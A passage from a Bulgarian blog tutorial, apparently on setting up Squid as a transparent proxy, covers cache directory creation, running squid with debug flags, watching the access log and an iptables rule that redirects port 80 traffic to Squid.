10. /usr/local/squid/sbin/squid -z за да направим директориите за кеша.

11. /usr/local/squid/sbin/squid -N -d 1 -D – тъй като октоподчо е демон -N го караме да остане отгоре. -d 1 за да задедем debug level. -D за да не прави DNS query към някои основни хостове и да умре без причина! Ако искате да го пратите като демон махнете -N и -d 1.

12. tail -f /var/log/squid/access.log – за да наблудаваме какво иде реч!

13. Сега трябва да пренасочим целия web трафик през окти … аз съм го решил просто (искам само порт 80, защото потребителите ми са обикновенни хора):

iptables -t nat -A PREROUTING -i eth4 -p tcp –dport 80 -j REDIRECT –to-port 3128

14. ЧЕСТИТО! ИМАТЕ СИ ПРОЗРАЧНО PROXY и домаин logger!

За по-подробни разясянения за това кой, как къде, защо и как – ОКТО WIKI.

Ваш,

Lucifer

GD Star Rating
loading...


Leave a Comment :, , more...

Looking for something?

Use the form below to search the site:

Still not finding what you're looking for? Drop a comment on a post or contact us so we can take care of it!